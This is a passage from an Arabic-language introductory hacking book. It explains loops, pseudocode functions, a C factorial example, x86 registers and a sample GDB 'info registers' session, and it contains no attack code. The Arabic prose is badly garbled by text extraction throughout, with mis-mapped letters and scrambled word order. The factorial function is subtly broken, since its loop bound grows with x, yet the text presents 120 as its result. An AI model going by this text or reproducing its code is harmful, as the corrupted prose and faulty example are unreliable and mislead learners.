Understanding Hacking and Information Security
Programming
[25]
ُ‫َحن‬‫ن‬ :‫األول‬ ‫املثال‬ ‫يف‬
‫ُريد‬‫ن‬ ‫نا‬ُ‫ذ‬
َ
‫حت‬
ّ‫أي‬ ‫قيق‬
‫الثاين‬ ‫أو‬ ‫األول‬ ‫ني‬َ‫ط‬ َ
‫الرش‬ َ‫ن‬‫م‬
..
‫النتيجه‬ ‫قتكون‬
True
.
‫الثا‬ ‫املثال‬ ‫ويف‬
‫سيكون‬ :‫ين‬
‫الناتج‬
True
ً‫ا‬‫مع‬ ‫الرشطني‬ ‫حتقق‬ ‫لذا‬ ‫ققط‬
..
‫قيمة‬ ‫تكون‬ ‫أن‬ ‫وذو‬
a
‫قيمة‬ ‫من‬ ‫أصغر‬
b
‫قيمة‬ ‫تقل‬ ‫ال‬ ‫الوقت‬ ‫نفس‬ ‫ويف‬
a
‫عن‬
‫قيمة‬
c
.
‫العالقة‬ ‫يوضح‬ ‫املثال‬ ‫ذذا‬
ً‫ا‬‫أيض‬
:
While ((hungry) && !(cat_present))
{
Find some food;
If(!(food_is_on_a_mousetrap))
Eat the food;
}
‫دالة‬ ‫تتذكر‬ ‫ذل‬
While
..‫؟‬
‫رش‬ ‫بوضع‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬
‫حلدوثها‬ ‫طني‬
‫ومه‬ ،
‫ا‬
‫آطر‬ ‫رشط‬ ‫قتح‬ ‫تم‬ ‫ثم‬ ،‫اجلبن‬ ‫قطعة‬ ‫عن‬ ‫قسيبحث‬ .‫ط‬‫الق‬ ‫ياب‬‫وغ‬ ،‫الفأر‬ ‫وع‬ ُ‫ج‬ :
.‫التهامها‬‫ب‬ ‫م‬ُ‫ق‬ ‫حينها‬ ،‫ئران‬‫الف‬ ‫صيدة‬َ‫م‬‫ب‬ ‫ت‬ َ‫يس‬َ‫ل‬ ‫ذذه‬ ‫بن‬ُ‫جل‬‫ا‬ ‫طعة‬‫ق‬ ‫تكون‬ ‫أن‬ ‫وذو‬
ً‫ا‬‫أيض‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬
‫اجلوع‬ ‫وث‬ُ‫د‬ ُ‫ح‬ ‫ن‬َ‫ع‬ ‫التعبري‬
‫بالصيغة‬
While (hungry ==1)
‫القيمة‬ ‫أن‬ ‫يرى‬ ‫الربنامج‬ ‫ألن‬
0
‫تعني‬
False
‫والقيمة‬
1
‫تعني‬
True
.
Functions
‫ال‬ ‫لىل‬ ‫اآلن‬ ‫سننتقل‬ ،‫األساسيات‬ ‫ذذه‬ ‫من‬ ‫انتهينا‬ ‫أن‬ ‫بعد‬
Functions
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[26]
‫ال‬ ‫من‬ ‫معينة‬ ‫جمموعة‬ ‫استخدام‬ ‫ربمج‬ُ‫مل‬‫ا‬ ‫يود‬ ً‫ا‬‫أحيان‬
Instructions
‫قمث‬ ،‫ع‬‫وض‬َ‫م‬ ‫من‬ ‫أكثر‬ ‫يف‬ ‫بتنفيذذا‬ ‫ليقوم‬
ً‫ال‬
‫قرضنا‬ ‫لذا‬
‫ب‬ ‫اتصال‬ ‫قناة‬ ‫بإنشاء‬ ‫تقوم‬ ‫برجمية‬ ‫أسطر‬ ‫جمموعة‬ ‫بكتابة‬ ‫قمنا‬ ‫أننا‬
Server
‫وبطريق‬ ‫دد‬ ُ
‫حم‬
‫ة‬
‫برنامج‬ ‫ُب‬‫ت‬‫نك‬ ‫ُنا‬‫ك‬ ‫قإذا‬ ،‫معينة‬
‫م‬ ‫قليس‬ ،‫الكود‬ ‫داطل‬ ‫مواضع‬ ‫عدة‬ ‫يف‬ ‫السريقر‬ ‫ِبذا‬ ‫نتصل‬ ‫أن‬ ‫نا‬‫وأرد‬ ،‫طويل‬
‫مر‬ ‫كل‬ ‫األسطر‬ ‫ذذه‬ ‫تكرار‬ ‫احلكمة‬ ‫ن‬
‫ة‬
‫مك‬ُ‫ي‬ ،‫االتصال‬ ‫إلنشاء‬ ‫قيها‬ ‫نحتاج‬
‫ب‬ ‫أشبه‬ ‫يشء‬ ‫يف‬ ‫وضعهم‬ ‫ننا‬
Sub-Program
‫ى‬ّ‫سم‬ُ‫ي‬
"
Function
"
.
‫أردنا‬ ‫وكلام‬
‫ال‬ ‫ذذه‬ ‫عنوان‬ ‫بكتابة‬ ‫اكتفينا‬ ‫االتصال‬ ‫لنشاء‬
Function
.‫اجلهد‬ ‫لتوقري‬ ‫ققط‬
‫ل‬
:‫عليه‬ ‫ق‬ِّ‫ب‬َ‫ط‬ُ‫ن‬‫ل‬ ‫واقعي‬ ‫ثال‬‫م‬ ‫ذ‬ ُ
‫نأط‬
‫حتدد‬ ‫أن‬ ‫وتود‬ ،‫قليل‬ ‫بعد‬ ‫فرتق‬ُ‫م‬ ‫ُصادف‬‫ت‬ ‫ثم‬ ‫الشوارع‬ ‫أحد‬ ‫يف‬ ‫سيارتك‬‫ب‬ ‫َسري‬‫ت‬ ‫أنك‬ ‫ض‬‫نفر‬‫ل‬
‫اليمني‬ ‫لىل‬ ‫ستتجه‬ ‫كنت‬ ‫لذا‬ ‫ما‬
‫كتابة‬‫ب‬ ‫نا‬ُ‫ذ‬ ‫سنقوم‬ ،!‫اليسار‬ ‫لىل‬ ‫أو‬
Function
‫عليها‬ ‫ق‬‫ُطل‬‫ن‬
Function Turn
‫التفاصيل‬ ‫ن‬‫م‬ ‫جمموعة‬ َ
‫لك‬ ‫ز‬ِّ‫ُجه‬‫ن‬‫س‬ ‫أننا‬ ‫أي‬
‫مس‬ ‫بتغيري‬ ‫رغبتك‬ ‫عند‬ ‫اتباعها‬ ‫يتم‬ ‫سوف‬ ‫التي‬
‫برجمية‬ ‫ميزة‬ ‫سنستخدم‬ ‫ولكننا‬ ،!‫ارك‬
‫أن‬ ‫يف‬ ‫القرار‬ ‫لك‬ ‫سنرتك‬ ‫أننا‬ ‫وذي‬
‫االجت‬ ‫دد‬ ُ
‫حت‬
‫ذاته‬ ‫حد‬ ‫يف‬ ‫االجتاه‬ ‫سنعترب‬ .‫اليسار‬ ‫اىل‬ ‫أم‬ ‫اليمني‬ ‫لىل‬ ‫ستتجه‬ ‫كنت‬ ‫اذا‬ ‫قيام‬ ‫اه‬
Variable
‫يه‬ِّ‫م‬ َ‫ُس‬‫ن‬ َ
‫س‬
variable_direction
‫ال‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ‫أنت‬ ُ‫ه‬ُ‫د‬‫د‬َ ُ
‫حت‬ ‫أن‬ َ
‫ك‬َ‫ل‬
Turn( )
‫عليه‬ ً‫ء‬‫بنا‬ ‫عملها‬ ‫بإجراء‬
‫ال‬ ‫ستقوم‬
Function
:‫اآليت‬ ‫بتنفيذ‬

‫اإلشار‬ ‫ضوء‬ ‫تشغيل‬
‫ة‬
‫ا‬ ‫حسب‬ ‫اليُسى‬ ‫أو‬ ‫اليمنى‬
‫لليه‬ ‫االنتقال‬ ‫املراد‬ ‫إلجتاه‬
(
(Activate Blinker
.

‫السيار‬ ‫تبدأ‬
‫ة‬
‫بالتباطئ‬
(
(Slow down
.

!‫لليها‬ ‫سندطل‬ ‫التي‬ ‫احلارة‬ ‫يف‬ ‫املرور‬ ‫حركة‬ ‫بتفحص‬ ‫سنقوم‬
(Check for oncoming traffic)
.
‫ال‬ ‫ذذه‬ ‫عمل‬ ‫وضح‬ُ‫ي‬ ‫ثال‬‫م‬ ‫ذذا‬
function
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[27]
Function Turn (variable_direction)
{
Activate the variable_direction blinker;
Slow down;
Check for oncoming traffic;
while (there is oncoming traffic)
{
Stop;
Watch for oncoming traffic;
}
Turn the steering wheel to the variable_direction;
while (turn is not complete)
{
if(speed < 5 mph)
Accelerate;
}
Turn the steering wheel back to the original position;
Turn off the variable_direction blinker;
}
‫األ‬ ‫س‬‫و‬َ‫ق‬‫ال‬ ‫أن‬ ‫ظ‬‫الح‬
)‫(اخلارجي‬ ‫ول‬
‫بينهام‬ ‫ت‬َ‫مت‬ ‫األحداث‬ ‫ومجيع‬ ،‫النهاية‬ ‫يف‬ ‫وغلقه‬ ‫البداية‬ ‫يف‬ ‫تحه‬َ‫ق‬ ‫َم‬‫ت‬
..
‫دالة‬ ‫َخدمنا‬‫ت‬‫اس‬
While
‫احل‬ ‫لىل‬ ‫طول‬ُ‫الد‬ ‫م‬َ‫د‬َ‫ع‬ ‫ط‬ َ
‫رش‬ ‫ع‬ َ
‫َض‬‫ن‬‫ل‬
‫ة‬َ‫مح‬َ‫د‬‫ز‬ُ‫م‬ ‫ا‬‫َوهن‬‫ك‬ ‫حالة‬ ‫يف‬ ‫ارة‬
..
،‫كذلك‬ ‫ُن‬‫ك‬َ‫ت‬ َ‫مل‬ ‫قإن‬
‫ال‬ ‫ل‬‫نتق‬َ‫ي‬ َ
‫س‬َ‫ق‬
pointer
‫ال‬ ‫لىل‬
Instruction
‫ال‬
ُ‫ه‬‫َرك‬‫ت‬ ‫(تم‬ ‫راد‬ُ‫مل‬‫ا‬ ‫اإلجتاه‬ ‫لىل‬ ‫ود‬‫ق‬‫امل‬ ‫دوران‬ ‫وذي‬ ‫تالية‬
‫السيار‬ ‫أن‬ ‫وذو‬ ‫آطر‬ ‫ط‬ َ
‫رش‬ ‫عنا‬ َ
‫ض‬َ‫و‬ ‫م‬ُ‫ث‬ ،)‫تغري‬ُ‫كم‬
‫ة‬
‫ِسع‬ ‫عىل‬ ‫تكون‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ‫نفسها‬
‫ة‬
‫واالندما‬ ‫بالدوران‬ ‫للقيام‬ ‫كاقية‬
‫ج‬
ً‫ا‬‫مع‬ ‫دالتني‬ ‫قاستخدمنا‬ ‫باحلارة‬
..
Whlie
‫دالة‬ ‫وداطلها‬
if
..
‫الس‬ ‫د‬َ‫قو‬‫م‬ ‫ُعيد‬‫ن‬‫ل‬ ‫م‬ُ‫نه‬‫م‬ ‫جنا‬ َ‫ر‬ َ
‫ط‬ ‫م‬ُ‫ث‬
‫يار‬
‫ة‬
‫ئ‬‫ُطف‬‫ن‬‫و‬ ‫الطبيعي‬ ‫ه‬‫ضع‬َ‫و‬‫ل‬
‫اإلشار‬ ‫صباح‬‫م‬
‫ة‬
‫ال‬ ‫من‬ ‫روج‬ُ‫خل‬‫ا‬ ‫م‬ُ‫ث‬ ،
Function
.ً‫ا‬‫أطري‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[28]
‫ال‬ ‫غة‬ُ‫ل‬ ‫يف‬
C
‫لل‬ ‫استدعاء‬ ‫ث‬ُ‫حيد‬
Function
َ‫م‬‫قا‬ ‫ن‬َ‫مل‬ ‫أو‬ ‫نا‬َ‫ل‬ ‫ما‬ ٍ‫قيمة‬ ‫أو‬ ‫ج‬‫نات‬ ‫إرجاع‬‫ب‬ ‫تقوم‬ ‫أن‬ ‫ا‬ّ‫م‬‫ل‬ ،‫ها‬‫ل‬َ‫م‬َ‫ع‬ ‫أداء‬ َ‫عد‬َ‫ب‬‫و‬ ،
‫ها‬‫باستدعائ‬
(
(functions can return a value to a caller
‫يشء‬ ‫لنا‬ ‫ع‬‫ُرج‬‫ت‬ ‫ال‬ ‫بام‬ُ‫ور‬
!
،
‫و‬
‫ال‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬
function
‫التي‬
‫بال‬ ‫عملها‬ ‫انتهاء‬ ‫بعد‬ ‫قيمة‬ ‫لنا‬ ‫ع‬‫ُرج‬‫ت‬ ‫ال‬
.void( )
‫ال‬ ‫لرجاع‬ ‫حالة‬ ‫يف‬ ‫أما‬
function
‫اإلشارة‬‫ب‬ ‫َقوم‬‫ن‬ ‫ها‬‫ل‬َ‫م‬َ‫ع‬ ‫انتهاء‬ َ‫عد‬َ‫ب‬ ‫قيمة‬
‫ال‬ ‫قيه‬ ‫ع‬ َ
‫تض‬ َ
‫س‬ ‫الذي‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫لىل‬
function
‫ال‬ ‫ذذا‬
return value
،
‫ال‬ ‫توضيح‬ َ‫ع‬َ‫م‬
Data type
..‫ه‬‫ب‬ ‫اخلاص‬
‫ذلك؟‬ ‫كيف‬
‫س‬ ..ً‫ا‬‫حسن‬
‫نرشح‬
‫ذذا‬
‫ب‬
‫ثال‬‫م‬
:
‫ماييل‬
function
‫اسمها‬
factorial( )
ِّ
‫تغري‬ُ‫مل‬‫ا‬ ‫عىل‬ ‫رياضية‬ ‫عملية‬ ‫إلجراء‬ ‫باستدعائها‬ ‫نقوم‬
a
،
‫لنا‬ ‫ع‬‫ج‬ ُ
‫سرت‬ ‫انتهائها‬ ‫وبعد‬
‫َغري‬‫ت‬ُ‫مل‬‫ا‬ ‫يف‬ ‫بوضعها‬ ‫تقوم‬ ‫قيمة‬
b
.
int a=5, b;
b = factorial(a);
‫ب‬ ‫الكود‬ ‫ذذا‬ ‫يف‬ ‫َقوم‬‫ن‬
‫بنوع‬ ‫تغريين‬ُ‫م‬ ‫َعريف‬‫ت‬
int
‫املتغري‬ ‫أطربنا‬ ‫م‬ُ‫ث‬ ،
b
‫قيمة‬ ‫سيحوي‬ ُ‫ه‬‫أن‬
،
‫بالطبع‬ ‫ستكون‬
int
،
‫أن‬ ‫يعني‬ ‫وذذا‬
‫ال‬
return value
‫ال‬ ‫من‬ ‫القادم‬
factorial( )
‫نوعه‬ ‫سيكون‬
integer
.
‫تغري‬ُ‫مل‬‫ا‬ ‫قيمة‬ ‫ووضعنا‬
a
"
‫بخمسة‬
"
،
‫سيكون‬
(a)
‫ال‬ ‫ذو‬ ‫نا‬ُ‫ذ‬
Argument
‫ال‬ ‫ذذه‬ ‫لىل‬ ُ‫ه‬‫لمرار‬ ‫م‬‫ت‬َ‫ي‬ ‫الذي‬
function
،
‫الرقم‬ ‫ل‬‫ُدط‬‫ن‬‫س‬ ‫أننا‬ ‫بمعنى‬
5
‫ية‬‫ساب‬‫احل‬ ‫لية‬َ‫م‬َ‫ع‬‫ال‬ ‫إلجراء‬
‫تغري‬ُ‫مل‬‫ا‬ ‫يف‬ ‫ج‬‫النات‬ ‫ع‬ َ
‫َض‬‫ن‬ ‫م‬ُ‫ث‬ ‫ليه‬َ‫ع‬
b
.
‫ال‬ َ‫ي‬‫ذاذ‬
factorial( )
:‫ها‬‫باستدعائ‬ ‫منا‬ُ‫ق‬ ‫التي‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[29]
int factorial (int x)
{
int i;
for (i=1; i < x; i++)
x *= i;
return x;
}
‫قيمة‬ ‫أن‬ ‫ظ‬‫الح‬
x
‫لل‬ ً‫ا‬‫تبع‬ ‫تركها‬ ‫َم‬‫ت‬
‫حالتنا‬ ‫يف‬ ‫وذو‬ ‫ل‬ َ
‫دط‬ُ‫مل‬‫ا‬ ‫رقم‬
5
‫ال‬ ‫ديد‬ َ
‫حت‬ ‫َم‬‫ت‬‫و‬ ،
data type
‫أنه‬
integer
.
‫النهاية‬ ‫يف‬
‫تغري‬ُ‫مل‬‫ا‬ ‫سيحوي‬
b
‫ذي‬ ‫قيمة‬
(
5*4*3*2*1 = 120
.)
‫لية‬َ‫م‬َ‫ع‬ ‫م‬‫َت‬‫ت‬ ‫كيف‬ ‫بالتفصيل‬ ‫لك‬ ‫سأرشح‬
"
‫ال‬ ‫استدعاء‬
function
"
‫يف‬
‫الثالث‬ ‫الباب‬
.‫اهلل‬ ‫بإذن‬
‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
Function
‫ي‬‫ق‬ ‫نا‬َ‫ل‬ ‫ع‬‫ُرج‬‫ت‬ ‫ال‬ ‫التي‬
‫م‬
‫ة‬
‫عينة‬ُ‫م‬
"
return value
"
‫بال‬ ‫ققط‬ ‫ما‬ ٍ‫وظيفة‬‫ب‬ ‫تقوم‬‫ل‬ ‫َستدعيها‬‫ن‬ ‫التي‬ َ‫ي‬‫وذ‬ ،
"
Void Function
"
.
‫ال‬ ‫استدعينا‬ ‫أننا‬ ‫الحظ‬ ،‫املايض‬ ‫السيارة‬ ‫يادة‬‫ق‬‫ب‬ ‫اخلاص‬ ‫ثال‬‫للم‬ ‫ئنا‬‫ج‬ ‫لذا‬
Function( )
_
Turn
‫لتقوم‬
‫ظار‬‫بانت‬ ‫لسنا‬ ‫قنحن‬ ،‫ققط‬ ‫للحارة‬ ‫الدطول‬ ‫بعملية‬
return value
،‫نها‬‫م‬
‫ألننا‬
‫ال‬ ‫من‬ ‫جمموعة‬ ‫تنفيذ‬ ‫د‬َ‫َو‬‫ن‬ ‫ققط‬
instructions
‫ر‬َ‫م‬ ‫كل‬ ‫تهم‬َ‫ب‬‫تا‬‫لك‬ ‫االضطرار‬ ‫بدون‬
‫ة‬
.!‫حارة‬ ‫ي‬‫أل‬ ‫الدطول‬ ‫قبل‬
‫ثال‬‫امل‬ ‫ذا‬َ‫ِب‬ ‫م‬‫َخت‬‫ن‬ َ
‫س‬
‫ققرة‬
‫ال‬
functions
:
void turn (variable_direction, target_street_name)
{
Look for a street sign;
current_intersection_name = read street sign name;
while (current_intersection_name != target_street_name)
{
Look for another street sign;
current_intersection_name = read street sign name;
}
Activate the variable_direction blinker;
Slow down;
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[30]
Check for oncoming traffic;
while (there is oncoming traffic)
{
Stop;
Watch for oncoming traffic;
}
Turn the steering wheel to the variable_direction;
while(turn is not complete)
{
if(speed < 5 mph)
Accelerate;
}
Turn the steering wheel right back to the original position;
Turn off the variable_direction blinker;
}
‫ال‬ ‫تكون‬ ‫ولكي‬
Function
‫واقعية‬ ‫أكثر‬
..
‫لضاقة‬ ‫َم‬‫ت‬
“Argument”
ِّ
‫تغري‬ُ‫م‬ ‫أو‬
"
target_street_name
"
‫اسم‬ ‫وذو‬
‫ال‬
،‫لليه‬ ‫ماج‬‫اإلند‬ ‫اد‬ َ‫ر‬ُ‫مل‬‫ا‬ ‫ع‬‫شار‬
‫ال‬ ‫ب‬‫جان‬‫ب‬
Argument
‫األول‬
"
variable_direction
."
‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬‫م‬ ‫اإلستفادة‬ ‫ق‬ِّ‫ق‬‫ُح‬‫ن‬‫س‬ ‫واآلن‬
‫ال‬
function
‫للسيار‬ ‫ج‬َ‫م‬‫رنا‬َ‫ب‬ ‫ُب‬‫ت‬‫َك‬‫ن‬ ‫بأن‬
‫ة‬
‫ال‬ ‫َدعي‬‫ت‬‫َس‬‫ن‬ ‫م‬ُ‫ث‬
function
.‫ب‬‫ناس‬ُ‫مل‬‫ا‬ ‫قت‬َ‫الو‬ ‫يف‬
Begin going East on Main Street;
if (street is blocked)
{
Turn (right, 15th Street);
Turn (left, Pine Street);
Turn (right, 16th Street);
}
else
Turn (right, 16th Street);
Turn (left, Destination Road);
for (i=0; i<5; i++)
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[31]
Drive straight for 1 mile;
Stop at 740 Destination Road;
‫باستدعاء‬ ‫منا‬ُ‫ق‬ َ‫أين‬ َ
‫ظت‬ َ‫الح‬ ‫ذل‬
Turn( )
‫؟‬
.
‫ال‬ ‫بإمرار‬ ‫أيضا‬ ‫منا‬ُ‫ق‬
Arguments
‫ال‬ ‫مكان‬ ‫نهم‬‫م‬ ‫ُل‬‫ك‬ ‫ضع‬َ‫و‬ ‫تم‬َ‫ي‬‫ل‬ ‫لليها‬
variable
،‫املطلوب‬ ‫وتنفيذ‬ ‫له‬ ‫ر‬‫ناظ‬ُ‫مل‬‫ا‬
‫ننتظر‬ ‫ولن‬
return value
‫ألهنا‬ ‫نها‬‫م‬
“void function”
.
.‫ديد‬ َ‫ج‬ ‫ن‬‫م‬ ‫ة‬َ َ‫جم‬ َ
‫الرب‬ ‫لىل‬ ‫َعود‬‫ن‬ ‫م‬ُ‫ث‬ ً‫ال‬‫قلي‬ ‫تلف‬ ُ
‫ُم‬ ‫موضوع‬ ‫لىل‬ ‫اآلن‬ ‫سننتقل‬
.
‫ال‬ ‫عض‬َ‫ب‬ ‫عىل‬ ‫سنتعرف‬
Registers
‫التي‬
‫ال‬ ‫مها‬‫ستخد‬َ‫ي‬
CPU
. ‫الربامج‬ ‫مع‬ ‫له‬ُ‫م‬‫تعا‬ ‫أثناء‬
x86 Processor
‫بال‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫بعض‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫قصري‬ ‫قاصل‬ ‫نأطذ‬ َ
‫س‬
x86 processor
َ‫ن‬‫ل‬
‫عىل‬ ‫تعرف‬
‫َي‬‫ك‬
‫فية‬
‫ت‬
‫ال‬ ‫ل‬َ‫م‬‫عا‬
CPU
‫ال‬ ‫مع‬
Compiled Program
.
.
‫ال‬ ‫ك‬‫َل‬‫ت‬‫م‬َ‫ي‬
Processor
‫جمموع‬
‫ة‬
‫ال‬ ‫من‬
Registers
..
‫قهو‬
‫ك‬ ‫مهم‬‫َخد‬‫ت‬‫س‬َ‫ي‬
internal variables
ُ‫ي‬
‫ختلف‬ُ‫مل‬‫ا‬ ‫هامه‬َ‫م‬ ‫إلمتام‬ ‫دقيق‬ ‫بشكل‬ ‫فهم‬ِّ‫ظ‬‫و‬
‫ة‬
.
‫بال‬ ‫نعني‬ ‫ماذا‬ ‫ولكن‬ ،‫نعم‬
Register
‫؟‬..
‫ال‬ ‫داطل‬ ‫صغرية‬ ‫ختزين‬ ‫مساحة‬ ‫لهنا‬
CPU
‫ال‬ ‫مع‬ ‫والتعامل‬ ‫للوصول‬ ‫يستخدمها‬ ‫طريقة‬ ‫أِسع‬ ‫ُعد‬‫ت‬‫و‬
Data
.
A small amount of storage on the CPU and is the fastest method for a CPU to access data.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[32]
‫ال‬ ‫داطل‬ ‫الوقوف‬ ‫يمكنك‬ ‫كام‬ ،‫التفاصيل‬ ‫من‬ ‫الكثري‬ ‫رؤية‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬
Compiled Program
‫ال‬ ‫راقبة‬ُ‫م‬‫و‬
memory
‫خصص‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫أوضاع‬ ‫َيك‬‫ن‬‫ي‬َ‫ع‬‫ب‬ ‫وترى‬ ‫لربناجمك‬
Registers
‫ال‬ ‫وظيفة‬ ‫لهنا‬ ،‫الربنامج‬ ‫عمل‬ ‫أثناء‬
"
Debugger
"
.
‫ال‬ ‫ذذا‬ ‫ما‬
..Debugger
‫؟‬
‫امليكرسكو‬ ‫الكيميائي‬ ‫م‬‫َخد‬‫ت‬‫س‬َ‫ي‬ ‫ثلام‬‫م‬
‫سيتفحص‬ ُ‫ه‬ّ‫ن‬‫ك‬َ‫ل‬ ،ً‫ا‬‫أيض‬ ‫امليكرسكوب‬ ‫باستخدام‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫قوم‬َ‫ي‬ ،‫العينات‬ ‫لفحص‬ ‫ب‬
ُ‫ي‬ ‫َام‬‫ك‬ ،‫اجلهاز‬ ‫عىل‬ ُ‫ه‬‫تأثري‬ ‫راقبة‬ُ‫م‬‫و‬ ‫ه‬ُ‫ُريد‬‫ت‬ ‫ي‬ َ
‫رجم‬َ‫ب‬ ‫سطر‬ ‫أي‬ ‫عىل‬ ‫الوقوف‬ َ
‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ،‫برناجمه‬ ‫به‬
‫َغريا‬‫ت‬ُ‫مل‬‫وا‬ ‫م‬َ‫ي‬‫الق‬ ‫تغيري‬ ‫ُك‬‫ن‬‫مك‬
‫ت‬
..
‫األمور‬ ‫من‬ ‫وغريذا‬
‫الشيق‬
‫ة‬
.!
‫سنقوم‬
‫الثالث‬ ‫الباب‬ ‫يف‬
‫ا‬ ‫بإذن‬
‫ال‬ ‫باستخدام‬ ‫هلل‬
“GDB Debugger”
‫ال‬ ‫وقحص‬ ‫الربامج‬ ‫أحد‬ ‫مع‬
Registers
َ
‫ص‬‫ص‬َ‫خ‬ُ‫مل‬‫ا‬
‫ة‬
‫الربجمي‬ ‫األططاء‬ ‫بعض‬ ‫واستخراج‬ ُ‫ه‬‫ل‬
‫ة‬
.!‫الربنامج‬ ‫اطرتاق‬ ‫يف‬ ‫واستغالهلا‬
‫سنكتفي‬ ‫َام‬‫ن‬‫بي‬
ً‫ا‬‫حالي‬
‫بعض‬ ‫برشح‬
‫بال‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫األساسيات‬
Registers
.
‫باستخ‬ ‫تحه‬َ‫ق‬ ‫َم‬‫ت‬ ‫ج‬َ‫م‬‫نا‬ َ
‫رب‬‫ل‬ ‫ثال‬‫م‬ ‫وضع‬َ‫ب‬ ‫َقوم‬‫ن‬ َ
‫س‬
‫د‬
‫ام‬
GDB debugger
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫ونقوم‬
Breakpoint
‫ال‬ ‫عند‬
main( )
‫ال‬ ‫ضع‬َ‫و‬ ‫د‬‫ُشاذ‬‫ن‬‫ل‬
Registers
.‫الربنامج‬ ‫َشغيل‬‫ت‬ ‫أثناء‬
‫ال‬ ‫أن‬ ‫الحظ‬
main( )
‫ن‬‫ولك‬ ..‫ج‬َ‫م‬‫نا‬ َ
‫الرب‬ ‫يف‬ ‫رائته‬‫ق‬ ‫م‬‫ت‬َ‫ي‬ ‫ما‬ ‫أول‬ ‫ذي‬
!ً‫ال‬‫ه‬َ‫م‬
‫ال‬ ‫ذذا‬ ‫ن‬‫م‬ ‫نستفيد‬ ‫ماذا‬
Breakpoint
‫؟‬..
“it gives you the ability to halt a process that is being debugged”
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ ‫اذا‬‫ومل‬
halt
‫لل‬
process
‫؟‬..
By halting a process, you are able to inspect variables, stack arguments, and memory locations.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[33]
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, 0x0804837a in main ()
(gdb) info registers
eax 0xbffff894 -1073743724
ecx 0x48e0fe81 1222704769
edx 0x1 1
ebx 0xb7fd6ff4 -1208127500
esp 0xbffff800 0xbffff800
ebp 0xbffff808 0xbffff808
esi 0xb8000ce0 -1207956256
edi 0x0 0
eip 0x804837a 0x804837a <main+6>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
‫أربعة‬ ‫أول‬ ‫الحظ‬
Registers
:‫الرتتيب‬ ‫عىل‬ ‫م‬ُ‫ذ‬ ،‫ج‬َ‫م‬‫نا‬ َ
‫الرب‬ ‫ل‬َ‫م‬َ‫ع‬ ‫داية‬‫ب‬ ‫ند‬‫ع‬ ‫ظهروا‬
(EAX, ECX, EDX, and EBX)
‫ليهم‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
General Registers
‫ال‬ ‫م‬ُ‫مه‬‫َخد‬‫ت‬‫س‬َ‫ي‬
CPU
‫عتربوا‬ُ‫ي‬ ‫أهنم‬ ‫أمهها‬ ،‫ة‬ّ‫د‬‫ع‬ ‫مور‬ُ‫أ‬ ‫يف‬
"
temporary variables
"
‫ال‬ ‫م‬ُ‫مه‬‫َخد‬‫ت‬‫س‬َ‫ي‬
CPU
‫لل‬ ‫تنفيذه‬ ‫أثناء‬
Instructions
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[34]
‫ماييل‬
:‫م‬ُ‫نه‬‫م‬ ٍ‫ُل‬‫ك‬‫ل‬ َ
‫َرص‬‫ت‬ ُ
‫ُم‬ ‫توضيح‬
EAX
ً‫ا‬‫أيض‬ ‫ليها‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
Accumulator register
‫ساب‬‫احل‬ ‫ليات‬َ‫م‬َ‫ع‬‫ال‬ ‫عض‬َ‫ب‬ ‫بإجراء‬ ‫تقوم‬
‫املقارن‬ ‫و‬ ‫والطرح‬ ‫اجلمع‬ ‫مثل‬ ‫ية‬
‫ة‬
،
‫ال‬ ‫ختزين‬ ‫مكان‬ ‫د‬َ‫ع‬ُ‫ت‬ ‫أهنا‬ ‫زذا‬ِّ‫ي‬َ‫م‬ُ‫ي‬ ‫ما‬ ‫م‬َ‫وأذ‬ ،‫ة‬َ‫سم‬‫والق‬ ‫الرضب‬ ً‫ا‬‫وأيض‬
return values
.
‫ذذا‬ ‫ر‬‫تتذك‬ ‫ذل‬
‫ال‬
return value
‫؟‬..
‫ال‬ ‫ققرة‬ ‫يف‬ ُ‫ه‬‫عن‬ ‫حتدثنا‬ ‫لقد‬
“Functions”
،
ً‫ا‬‫لذ‬
..
‫مكن‬ُ‫ي‬
‫نا‬
‫التأكد‬
